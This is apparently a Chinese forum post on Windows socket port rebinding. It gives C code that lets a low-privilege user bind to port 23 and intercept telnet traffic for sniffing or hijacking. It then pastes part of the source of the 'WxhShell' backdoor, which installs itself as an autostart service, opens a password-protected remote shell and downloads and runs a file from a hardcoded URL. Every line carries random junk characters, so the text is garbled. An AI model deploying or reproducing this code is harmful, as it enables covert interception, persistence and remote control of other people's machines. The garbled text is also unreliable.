在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
g]au|$L4 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
d`]|i:*q >DX\^86x saddr.sin_family = AF_INET;
J.'}R2gT1 dw{L,u`68 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
2qV.`d ',GWH:B bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
UHr0J jQK LASR* 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
#wz1uw[pI! E}eu]2=nU} 这意味着什么?意味着可以进行如下的攻击:
y9W6e" -={Z::}S" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
tMM*m 0I6[`*|SX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
CZ2&9Vb9I S!!i 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
.xJW=G{/ ^6&?R?y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
x3ds{Z$,>( GFM$1} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
bvHF;Qywg EB8=* B8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
f#~X4@DH` ^Mw>'*5^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
}.md$N_F kmHIU}Z #include
+EI+@hS #include
-h=K]Y{` #include
T)%34gN #include
9
Yv;Dom DWORD WINAPI ClientThread(LPVOID lpParam);
uJ:'<dJ int main()
>KF1]/y< {
*n9t~t6GHg WORD wVersionRequested;
so[i"ZM) DWORD ret;
6ww4ZH?j WSADATA wsaData;
{}F?eI BOOL val;
.hI3Uv8[ SOCKADDR_IN saddr;
z?o16o-: SOCKADDR_IN scaddr;
r$3{1HXc int err;
O'tVZ!C#J SOCKET s;
#i$/qk=N SOCKET sc;
R7~H}>uaF int caddsize;
E]G#"EV!Y HANDLE mt;
?UD2}D[M DWORD tid;
k-5Enbkr wVersionRequested = MAKEWORD( 2, 2 );
0*?/s\>PS; err = WSAStartup( wVersionRequested, &wsaData );
EW;R^?Z if ( err != 0 ) {
a.P7O!2Lp printf("error!WSAStartup failed!\n");
` fw: return -1;
);4lM%]eb }
r>v_NKS]t saddr.sin_family = AF_INET;
eq^<5
f _TF\y@hF*D //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
t;wfp>El X\X*-.]{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
GLI 5AbQK saddr.sin_port = htons(23);
7;cb^fi/ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
QbGc 9MM {
*=]hc@ printf("error!socket failed!\n");
Yh`P+L return -1;
Tac7+=T }
3+6s}u) val = TRUE;
hrfu\cI //SO_REUSEADDR选项就是可以实现端口重绑定的
_D%aT6,G+( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
D ff0$06Nq {
yKJKQ9 printf("error!setsockopt failed!\n");
X+l&MD return -1;
W,</ }
/jJi`'{U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
VgfA&?4[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
3*@ sp //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
//C3tW ZA4NVt.yN if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
c_#\'yeW {
Lf+M
+^l ret=GetLastError();
gXtyl]K: printf("error!bind failed!\n");
Jv return -1;
`%
sKF }
rUC@Bf listen(s,2);
#]nH$Kq while(1)
:S
Tj
< {
Kk?P89=* caddsize = sizeof(scaddr);
JA!O,4 //接受连接请求
6?-vj2, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Kyy CS> if(sc!=INVALID_SOCKET)
"S6'<~s {
]Lg$p mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
N?`-$C ] if(mt==NULL)
CRy;>UI {
r+8%oWj printf("Thread Creat Failed!\n");
r5ONAa3. break;
WLr\ l29 }
5a
moK7 }
yp%7zrU CloseHandle(mt);
3Qt-%=b& }
v=4,kG closesocket(s);
iN\D`9e WSACleanup();
?`PG`|2~ return 0;
CBC0X}_` }
r|rOIAo DWORD WINAPI ClientThread(LPVOID lpParam)
bt2`elH| {
$v#\bqY SOCKET ss = (SOCKET)lpParam;
:I)WSXP9h SOCKET sc;
jJ B+UF= unsigned char buf[4096];
EU0b>2n4 SOCKADDR_IN saddr;
c8"9Lv long num;
M|l`2Hpe DWORD val;
$!Pm*s DWORD ret;
8=!BtMd" //如果是隐藏端口应用的话,可以在此处加一些判断
uv}?8$<\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
YgFmJ.1 saddr.sin_family = AF_INET;
6')pM&`t saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
&E(KOfk# saddr.sin_port = htons(23);
~Ip-@c}'j if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/@!%/Kl {
I<["ko,t@? printf("error!socket failed!\n");
S{sJX5R; return -1;
&.ENcEic }
HF\|mL val = 100;
\TF='@u. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+wwb+aG6{ {
$XOs(>~"r ret = GetLastError();
6H)T=Z| return -1;
x bsk }
?)#qBE ] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
e{*-_j"I {
04u^Q ret = GetLastError();
vs`"BQYf return -1;
^V1iOf: }
."u-5r<O if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
DF>LN%a~ {
6~t;&)6J printf("error!socket connect failed!\n");
?$>#FKrt closesocket(sc);
p#yq 'kY closesocket(ss);
\bc ob8u return -1;
q3CcXYY }
\m\E*c
): while(1)
dkr[B'n {
d[p-zn. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
lhN2xg5x //如果是嗅探内容的话,可以再此处进行内容分析和记录
fs:%L //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
D>Ub)i num = recv(ss,buf,4096,0);
T=NF5kj-= if(num>0)
mw[T[ send(sc,buf,num,0);
S1!X;PP/ else if(num==0)
!P_8D*^9 break;
(pU@$H num = recv(sc,buf,4096,0);
sb]{05: if(num>0)
9ozK}Cg4 send(ss,buf,num,0);
;$\?o else if(num==0)
^uDNArDmj5 break;
YM:;mX5B }
EGY'a*]cU closesocket(ss);
e\[z Q
2Z3 closesocket(sc);
r}9a31i return 0 ;
+i@r-OL }
? 0}M'L QO-R> "L(4 EcO@ ==========================================================
}:b6WN;c "RkbT O 下边附上一个代码,,WXhSHELL
{1<XOp#b 5
aT>8@$Z^ ==========================================================
|UGmIm% {Xc^-A[~ #include "stdafx.h"
e13{G@ ':mw(` #include <stdio.h>
*b$8O #include <string.h>
1feZ`P; #include <windows.h>
pZYcCc>6& #include <winsock2.h>
NB["U"1[^E #include <winsvc.h>
iq25|{1$ #include <urlmon.h>
|<Cz#|
,q R>r@I_ #pragma comment (lib, "Ws2_32.lib")
WT-BHB1 #pragma comment (lib, "urlmon.lib")
DaA9fJ7a
\hm;p #define MAX_USER 100 // 最大客户端连接数
Rr9K1io$) #define BUF_SOCK 200 // sock buffer
c Nhy.Z~D #define KEY_BUFF 255 // 输入 buffer
XL`*Tbx S,=#b
4\#% #define REBOOT 0 // 重启
?)Psf/ #define SHUTDOWN 1 // 关机
k2"DFXsv H/rJ:3 #define DEF_PORT 5000 // 监听端口
vxey$Ir _RT JEG #define REG_LEN 16 // 注册表键长度
P0Q]Ds| #define SVC_LEN 80 // NT服务名长度
xg|\\i (}1:]D{)@V // 从dll定义API
I3ZlKI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ja<!_^h=At typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
b3h3$kIYN typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_SW_I{fjr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
C1x"q9|\` E1=WH-iA0 // wxhshell配置信息
&D/@H1fBe struct WSCFG {
|8|_^` int ws_port; // 监听端口
$jc&Tk# char ws_passstr[REG_LEN]; // 口令
+1te 8P* int ws_autoins; // 安装标记, 1=yes 0=no
aJ4y%Gy? char ws_regname[REG_LEN]; // 注册表键名
[i9.#* char ws_svcname[REG_LEN]; // 服务名
\8KAK3i' char ws_svcdisp[SVC_LEN]; // 服务显示名
VssD char ws_svcdesc[SVC_LEN]; // 服务描述信息
=SY`Xkj[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,?3)L
int ws_downexe; // 下载执行标记, 1=yes 0=no
w;p:4` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
cnm*&1EzV char ws_filenam[SVC_LEN]; // 下载后保存的文件名
gsSUm f1 "B$r{ vG };
[myIcLp^aP Xf"B\%,(` // default Wxhshell configuration
oZ/z{` struct WSCFG wscfg={DEF_PORT,
vi4lmkyh^ "xuhuanlingzhe",
mPmg6Qj(W 1,
ik;S!S\v "Wxhshell",
^z _m<&r "Wxhshell",
RqONVytx "WxhShell Service",
++d%D9*V< "Wrsky Windows CmdShell Service",
&>YdX$8x "Please Input Your Password: ",
|([|F|" 1,
c9
&LKJ6 "
http://www.wrsky.com/wxhshell.exe",
JM&:dzyIP "Wxhshell.exe"
dw"Tv~ };
BJL*Dihm[ A_ftf7, // 消息定义模块
w.:fl4V char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
G]$.bq[v char *msg_ws_prompt="\n\r? for help\n\r#>";
pE~>k: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
_
Cu," char *msg_ws_ext="\n\rExit.";
v5/2-<6x char *msg_ws_end="\n\rQuit.";
b}C6/zW char *msg_ws_boot="\n\rReboot...";
uQ_s$@brI char *msg_ws_poff="\n\rShutdown...";
2H]~X9,z2 char *msg_ws_down="\n\rSave to ";
#cF ?a5 #\{j/{VZ char *msg_ws_err="\n\rErr!";
f\zu7,GU char *msg_ws_ok="\n\rOK!";
Y~fa=R{W .O1Kwu char ExeFile[MAX_PATH];
oA;> z int nUser = 0;
"A>/m"c]* HANDLE handles[MAX_USER];
d*===~ int OsIsNt;
W,53|9b@ ^=1:!'*3D SERVICE_STATUS serviceStatus;
,5
A& SERVICE_STATUS_HANDLE hServiceStatusHandle;
50?5xSEM0_ (pud`@D;[ // 函数声明
Bm\OH# int Install(void);
#6'+e35^ 8 int Uninstall(void);
RPh8n4&(" int DownloadFile(char *sURL, SOCKET wsh);
8euh]+ int Boot(int flag);
]CnqPLqL void HideProc(void);
8#_"WzDw int GetOsVer(void);
X^%E"{!nU int Wxhshell(SOCKET wsl);
w<o#/J9 void TalkWithClient(void *cs);
.>;}GsN& int CmdShell(SOCKET sock);
B'U;i5u4' int StartFromService(void);
"x"y3v' int StartWxhshell(LPSTR lpCmdLine);
H"n@=DMLm pRTdP/(OQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
l0sBXs`3b VOID WINAPI NTServiceHandler( DWORD fdwControl );
@9}SHS
)h&*b9[B= // 数据结构和表定义
%
QKlvmI" SERVICE_TABLE_ENTRY DispatchTable[] =
ZBf9Upg {
J nzI-
y {wscfg.ws_svcname, NTServiceMain},
n~e#Y<IP\1 {NULL, NULL}
zB@@Gs> };
Q=!f, |TE\ ] // 自我安装
rf:CB&u int Install(void)
8>(DQ"h {
<zdo%~ba char svExeFile[MAX_PATH];
e|~s'{3 HKEY key;
>8>}o4Q/X strcpy(svExeFile,ExeFile);
puPYM" %J
'RO // 如果是win9x系统,修改注册表设为自启动
]B'H(o
R<| if(!OsIsNt) {
tc%0yr9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1qgzb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Z?o?"|o RegCloseKey(key);
h4 X > if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fmv8)$W#U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
S}T*g UO RegCloseKey(key);
g'Id31r' return 0;
b#2$Pd:( }
1X45~ }
:: 2pDtMS }
*?Pbk+}% else {
Jjgy;*hM mEM/}]2 // 如果是NT以上系统,安装为系统服务
a!?&8$^< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]*Tnu98G} if (schSCManager!=0)
&\_cU?0d {
'r2VWavT SC_HANDLE schService = CreateService
g\n0v~T+ (
V,W":&!x schSCManager,
DwLl}{r' wscfg.ws_svcname,
NL-<K wscfg.ws_svcdisp,
mI[$c"!BD SERVICE_ALL_ACCESS,
Oy `2ccQ# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
5Tt%<#4 SERVICE_AUTO_START,
E+.%9EKU SERVICE_ERROR_NORMAL,
M\f1]L|8d svExeFile,
tHj |_t NULL,
JnT1-=t. NULL,
}?vc1%w NULL,
pJK}9p=4` NULL,
!83N.
gN NULL
tUp'cG );
xg>AW Q if (schService!=0)
xlH?J;$ {
hR] AUH CloseServiceHandle(schService);
KP[H&4eoC CloseServiceHandle(schSCManager);
Yom,{;Bv strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
);cu{GY strcat(svExeFile,wscfg.ws_svcname);
PI~W6a7p if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
qU1^ K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
M_4:~&N$ RegCloseKey(key);
gmY*}d`
'f return 0;
N`DLIv8i; }
}#rdMh }
iSZiJ4AUq CloseServiceHandle(schSCManager);
O;ty
k_yM }
A-"}aCmik }
\:*<En0 R`RLq1WA return 1;
?8d7/KZO }
/cy'% .! as{^~8B // 自我卸载
Tu'/XUs;k int Uninstall(void)
%>cl0W3x {
1Ugyjjlz HKEY key;
sp0j2<$a ;gh#8JkI if(!OsIsNt) {
buXPeIo^VM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\qrSJ=}t RegDeleteValue(key,wscfg.ws_regname);
jDp]}d|f) RegCloseKey(key);
JYbE(&l%de if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fC2 RegDeleteValue(key,wscfg.ws_regname);
l#FW#`f RegCloseKey(key);
L29,Y=n@ return 0;
yW$ja|^E }
.Z!!x }
zs@#.OEH }
)Tc eNH else {
T41&;?- &AMW?vO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
*aXZONym if (schSCManager!=0)
,_ XDCu @ {
pr|P#mc"J SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Ty"OJ if (schService!=0)
wp!<u
% {
6
1=?(Iw if(DeleteService(schService)!=0) {
3 <V{.T CloseServiceHandle(schService);
_jw A_ CloseServiceHandle(schSCManager);
P&/PCSf return 0;
h^P>,dy0 }
JD^&d~n_ CloseServiceHandle(schService);
Wt&tu2 }
OE!:`Bo3T CloseServiceHandle(schSCManager);
`L(AvSR }
g8yWFqE!T }
B)F2SK<@ g1Q^x/ return 1;
ZhKYoPIq }
G
.~Psw# b9[KdVsT6^ // 从指定url下载文件
*'+OA6 int DownloadFile(char *sURL, SOCKET wsh)
,w|f*L$ {
"`DCXn#mB HRESULT hr;
#&G^%1! char seps[]= "/";
6&=xu|M<x= char *token;
0@rrY char *file;
Dg]ua5jk char myURL[MAX_PATH];
q P@4KH}e char myFILE[MAX_PATH];
"t+VF4r $;%-<*Co strcpy(myURL,sURL);
pR8]HNY0 token=strtok(myURL,seps);
tw8@&8" while(token!=NULL)
,TD@s$2x {
t_&FK A file=token;
o<e AZ token=strtok(NULL,seps);
Y%$57,Bu n }
*-bR~ aWVJx@f GetCurrentDirectory(MAX_PATH,myFILE);
{A4"KX(U strcat(myFILE, "\\");
"sz)~Q'W5 strcat(myFILE, file);
b0]y$*{j send(wsh,myFILE,strlen(myFILE),0);
w
.l2 send(wsh,"...",3,0);
-^8gZk/(W hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
4YkH;!M>ji if(hr==S_OK)
g% :Q86u return 0;
HoGrvt<:.P else
4E:HO\ return 1;
L <Q1acoZm (F_Wys=6 }
s4lkhoN\t 1i9}mzy% // 系统电源模块
qgw:Q int Boot(int flag)
q@P5c {
.l5y!? HANDLE hToken;
IuTZ2~ TOKEN_PRIVILEGES tkp;
RX:\@c& gNl@T if(OsIsNt) {
l%lkDh!$" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
-yOrNir}W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Os9xZ tkp.PrivilegeCount = 1;
`!5ZF@Q>e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
0R<@* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5)o-$1s A if(flag==REBOOT) {
AV AF!Z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3> -/sii return 0;
#b []-L! }
"$PbpY else {
~my\{q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(L8H.|. return 0;
Fs<kMT }
O9oVx4= }
{<ymL} else {
{
dw m>a if(flag==REBOOT) {
B+eB=KL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
25*/]iu return 0;
-ZH]i}$ }
7*d}6\
% else {
P~iu|j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
,\4@Ao return 0;
;^lVIS%&{ }
)7c\wAs }
ZU7e1VaZM TLl*gED return 1;
c'&